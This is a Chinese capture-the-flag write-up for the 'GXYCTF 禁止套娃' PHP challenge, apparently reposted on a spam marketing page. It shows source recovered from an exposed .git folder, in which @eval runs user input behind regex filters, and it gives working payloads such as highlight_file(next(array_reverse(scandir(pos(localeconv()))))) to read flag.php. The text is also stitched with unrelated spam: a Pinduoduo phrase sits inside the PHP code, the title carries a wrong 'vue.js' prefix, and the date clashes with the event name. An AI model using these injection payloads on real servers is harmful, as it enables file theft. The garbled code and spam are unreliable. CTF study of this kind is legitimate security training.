vue.js [GXYCTF2027]禁止套娃1 - 进行常规的检测漏洞,扫描目录发现存在

📅 2026-11-30 👤 拼多多助力营销技巧 📂 拼多多助力2027 👁️ 460 次阅读

打开题目

进行常规的检测漏洞,扫描目录发现存在.git文件夹下的文件存在

include "flag.php";

echo "flag在哪里呢?

";

if(isset($_GET['exp']))

{

if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))

{ //不允许使用php协议

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

{ //替换为空字符,匹配的形式是形如a();的无参数的表达式

if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))

{

// echo $_GET['exp'];

@eval($_GET['exp']);

}

else

{

die("还差一点哦!");

}

}

else

{

die("再好好想想!");

}

}

else

{ 拼多多帮助力入口

die("还想读flag,臭弟弟!");

}

}

// highlight_file(__FILE__);

?> 使用了正则表达式来过滤

[a-z,_]+匹配一个或多个字母、下划线或逗号

(匹配开括号

(?R)?匹配嵌套的正则表达式本身,?表示0或1次

)匹配闭括号

括号内无参数

下一阶段,咱们知道是要读取flag.php,所以我们要借助eval函数读取

var_dump(localeconv()); 结果如下 array(18) { ["decimal_point"]=> string(1) "." ["thousands_sep"]=> string(0) "" ["int_curr_symbol"]=> string(0) "" ["currency_symbol"]=> string(0) "" ["mon_decimal_point"]=> string(0) "" ["mon_thousands_sep"]=> string(0) "" ["positive_sign"]=> string(0) "" ["negative_sign"]=> string(0) "" ["int_frac_digits"]=> int(127) ["frac_digits"]=> int(127) ["p_cs_precedes"]=> int(127) ["p_sep_by_space"]=> int(127) ["n_cs_precedes"]=> int(127) ["n_sep_by_space"]=> int(127) "p_sign_posn"]=> int(127) ["n_sign_posn"]=> int(127) ["grouping"]=> array(0) { } ["mon_grouping"]=> array(0) { } } 咱们想要的内容其实不在第一个但是在倒数第二个,所以咱们可以倒序输出第二个

?exp=var_dump(next(array_reverse(scandir(pos(localeconv()))))); 结果如下:string(8) "flag.php"

之后使用highlight_file()显示文件的内容来得到flag

?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

相关阅读

标签: 拼多多助力网站平台 赚钱项目 拼多多助力网 首码项目 手赚APP
拼多多助力营销技巧